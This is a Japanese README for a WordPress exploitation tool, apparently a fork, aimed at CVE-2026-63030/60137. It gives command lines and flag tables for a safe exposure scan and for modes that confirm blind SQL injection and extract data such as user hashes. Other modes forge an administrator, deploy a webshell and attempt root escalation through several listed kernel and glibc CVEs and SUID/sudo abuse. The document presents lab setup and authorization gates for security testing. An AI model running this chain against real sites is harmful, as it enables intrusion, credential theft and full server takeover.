
CVE-2026-63030 / CVE-2026-60137 - WordPress 事前認証 RCE スキャナー
作者: @bahartanir (katherinepierce) ZephrFish/wp2shell-scanner のフォークで、追加の改良が施されています。 研究: Adam Kues (Assetnote) と Mustafa Can İPEKÇİ (nukedx)。
wp2shell (CVE-2026-63030 / CVE-2026-60137) に対する WordPress コアの露出を検出・検証するためのツールです。モードはフラグで選択し、ターゲットは位置引数で指定します。--scan はコアのバージョンをフィンガープリントし、エクスプロイトペイロードを送信せずに REST /batch/v1 ルートに到達可能であることを確認します。--check/--read/--shell/--rce/--root-prereq モードは、許可されたラボ利用のための検証 PoC です。
wp2shell.py は標準ライブラリのみを使用する単一のスクリプトであり、外部依存関係はありません。実行のたびに、実行前にバナーを stderr に出力します (stdout には出力しないため、--scan -j の JSON 出力には影響しません)。
モードフラグは必ず 1 つ指定します。ターゲットは位置引数です (すべてのモードで URL、--scan ではホストリスト)。
wp2shell.py (--scan | --check | --read | --shell | --rce | --root-prereq)
[targets ...] [-f FILE] [-j] [-t THREADS] [--prefix PREFIX]
[--delay DELAY] [--repeats REPEATS] [--preset PRESET] [--expr EXPR]
[--max-len MAX_LEN] [--user USER] [--password PASSWORD] [--cmd CMD]
[-i] [--no-cleanup] [-y] [--sleep SLEEP] [--rounds ROUNDS]
[--route {auto,rest-route,wp-json}] [--proxy PROXY] [--authorized]
[--timeout TIMEOUT]
オリジナルの詳細解説: https://blog.zsec.uk/wp2shell-code-trace-deep-dive/
nuclei -t wp2shell-exposure.yaml -u https://target
単一ホスト、複数ホスト、またはファイルを対象にできます。
python3 wp2shell.py --scan https://target
python3 wp2shell.py --scan host1 host2 host3
python3 wp2shell.py --scan -f hosts.txt
オプション: -f/--file ホストファイル (1 行に 1 つ)、-j/--json JSON 出力、-t/--threads 並行数 (デフォルト 10)。
--check/--read/--shell/--rce/--root-prereq モードは、実際のエクスプロイトペイロードを送信します。付属の localhost ラボ、または自分が所有し、明示的にテストを許可された他のシステムでのみ実行してください。--shell と --rce はリモートコード実行を行い、ラボ/承認済みターゲットを対象としています。ループバック以外のホストに対する --rce には --authorized が必要です。--root-prereq は、同じトークンゲート方式の診断プラグインを使用してシェルから root への前提条件を確認しますが、ローカル権限昇格は実行しません。
--shell には、復元/クラックされた管理者パスワードが必要です。--rce は 資格情報不要の pre-auth チェーンです。SQLi (oEmbed → changeset → 再入可能な parse_request) を通じて独自の管理者を偽造し、ウェブシェルを展開します。パスワードは不要です。
--shell、--rce、--root-prereq は、コード実行ペイロードを送信する前に対話型の y/N 承認を求めます (非対話型/EOF の stdin では中止します)。ラボまたは承認済みターゲットに対する自動化では、-y/--yes を渡すとプロンプトをスキップできます。
docker compose -f poc/lab/docker-compose.yml up -d
python3 wp2shell.py --check http://127.0.0.1:8080
python3 wp2shell.py --read http://127.0.0.1:8080 --expr @@version
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' --cmd id
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' -i
python3 wp2shell.py --rce http://127.0.0.1:8080 --cmd id
python3 wp2shell.py --rce http://127.0.0.1:8080 -i
python3 wp2shell.py --root-prereq http://127.0.0.1:8080 --user admin --password 'Summer2026!'
python3 wp2shell.py --lpe http://127.0.0.1:8080
PoC の根拠として使用したパッチの差分は poc/diffs/ に保存され、調査メモは poc/RESEARCH.md にあります。SQLi は author__not_in の修正から完全に再構築可能です。資格情報不要の --rce チェーン (oEmbed → changeset → 再エントリ → 管理者作成) は、付属ラボに対する標準デフォルトの RCE を再現します。--shell は、復元/クラックされた管理者資格情報を介して、認証済みプラグインのアップロードとコマンド実行を行う代替パスです。
--lpe)--lpe は、完全な pre-auth RCE (SQLi → 管理者フォージ → ウェブシェル) と自動化された root 昇格の試みを連結します。以下の順序で試行し、最初に成功した時点で停止します:
python3 wp2shell.py --lpe http://127.0.0.1:8080
python3 wp2shell.py --lpe http://127.0.0.1:8080 -y # skip auth prompt
python3 wp2shell.py --lpe https://target --authorized # non-loopback
ループバック以外のターゲットに対する --lpe には --authorized が必要です。付属ラボ (脆弱な GameOverlay カーネルを備えた Ubuntu 22.04 ベースイメージ) では、CVE-2023-2640/32629 がコンパイラなしで成功します。
| Flag | 説明 |
|---|
--scan | 非破壊的な露出チェック: バージョンのフィンガープリントと、REST /batch/v1 ルートに到達可能であることの確認。エクスプロイトペイロードは送信しません。 |
--check | 無害な差分プローブにより、ブラインド時間ベース SQLi を確認します。 |
--read | ブラインド SQLi を介してデータを抽出します (プリセットまたは生の SQL スカラー式)。 |
--shell | クラック/復元された管理者パスワードを使用した認証済み RCE チェーン。 |
--rce | 資格情報不要の pre-auth RCE: SQLi を介して独自の管理者を偽造し、自己クリーニング型ウェブシェルを展開します。 |
--root-prereq | 無害なシェルから root への前提条件チェック。診断のみを実行し、ローカル権限昇格は決して行いません。 |
--lpe | 完全なチェーン: pre-auth SQLi → 管理者フォージ → ウェブシェル → root。CVE-2023-2640/32629 (GameOverlay overlayfs)、CVE-2023-4911 (Looney Tunables glibc)、CVE-2026-31431 (AF_ALG Copy Fail)、CVE-2026-23111 (nf_tables UAF プローブ) を試行し、次に SUID/sudo/cap のフォールバックへ進みます。 |
| Flag | 適用対象 | 説明 |
|---|
-f, --file | --scan | ファイルからホストを読み取ります (1 行に 1 つ。# コメントはスキップ)。 |
-j, --json | --scan | 結果を JSON として stdout に出力します。 |
-t, --threads | --scan | スキャンの並行数 (デフォルト 10)。 |
--prefix | --check/--read | DB テーブルのプレフィックス (デフォルト wp_)。 |
--delay | --check/--read | タイミングオラクルに挿入する SLEEP 秒数 (デフォルト 0.15)。 |
--repeats | --check/--read | ビットごとの N 回のプローブの中央値。ノイズの多いリンクでは増やします (デフォルト 1)。 |
--preset | --read | 内蔵ターゲット: version、database、db_user、users、siteurl (デフォルト users)。 |
--expr | --read | 抽出する生の SQL スカラー式 (--preset を上書き)。 |
--max-len | --read | 抽出する文字列の最大長 (デフォルト 128)。 |
--user | --shell/--root-prereq | ログインする管理者ユーザー名 (デフォルト admin)。 |
--password | --shell/--root-prereq | 平文の管理者パスワード (--read でハッシュをクラックします。これらのモードでは必須)。 |
--cmd | --shell/--rce | ターゲット上で実行するコマンド (デフォルト id)。 |
-i, --interactive | --shell/--rce | 単一コマンドの代わりに、対話型の Web コマンドループ。 |
--no-cleanup | --shell/--rce | 展開したプラグイン/ウェブシェルをそのまま残します (ラボのみ)。 |
-y, --yes | --shell/--rce/--root-prereq | 対話型の承認プロンプトをスキップします (自動化用)。 |
--sleep | --rce | pre-auth SQLi 検出用に挿入する SLEEP 秒数 (デフォルト 4)。 |
--rounds | --rce | --rce 検出のための N 回のプローブの中央値 (デフォルト 3)。 |
--route | --rce | バッチルート形式: auto、rest-route、wp-json (デフォルト auto)。 |
--proxy | --rce | HTTP プロキシを経由してリクエストを送信します (例: http://127.0.0.1:8080 の Burp)。 |
--authorized | --rce | ループバック以外の --rce ターゲットに対する承認を表明します (リモートホストでは必須)。 |
--timeout | すべて | リクエストごとのタイムアウト秒数 (デフォルト 15)。 |
| CVE | 影響を受けるもの | 手法 | コンパイラ |
|---|
| CVE-2023-2640 / CVE-2023-32629 | Ubuntu 22.04 / 23.04、GameOverlay ドライバを備えた kernel < 6.3.3 | ユーザーネームスペース内の非特権 overlayfs マウントにより、上位ディレクトリの chmod +s が保持される | 不要 (純粋なシェル) |
| CVE-2023-4911 | glibc 2.34–2.38 (Ubuntu 22.04、Debian 12、Fedora 37–38) | _dl_parse_tunables() の GLIBC_TUNABLES スタックオーバーフロー → SUID 実行時の LD_PRELOAD インジェクション | gcc が必要 |
| CVE-2026-31431 | algif_aead + authencesn(hmac(sha256),cbc(aes)) を備えた Linux カーネル | AF_ALG AEAD のインプレース最適化 + splice() が SUID バイナリのページキャッシュに 4 バイトを書き込む。前提条件プローブ — AliHzSec/CVE-2026-31431 へのリンク | gcc が必要 |
| CVE-2026-23111 | Ubuntu 22.04 / 24.04、Debian Bookworm / Trixie | nft_map_catchall_activate() の nf_tables 逆チェックによる UAF → chain->use のアンダーフロー → 解放されたチェーン。前提条件プローブ — Baba01hacker666/CVE-2026-23111 へのリンク | gcc が必要 |
| フォールバック | 任意 | SUID GTFOBins + sudo NOPASSWD の悪用 | 不要 |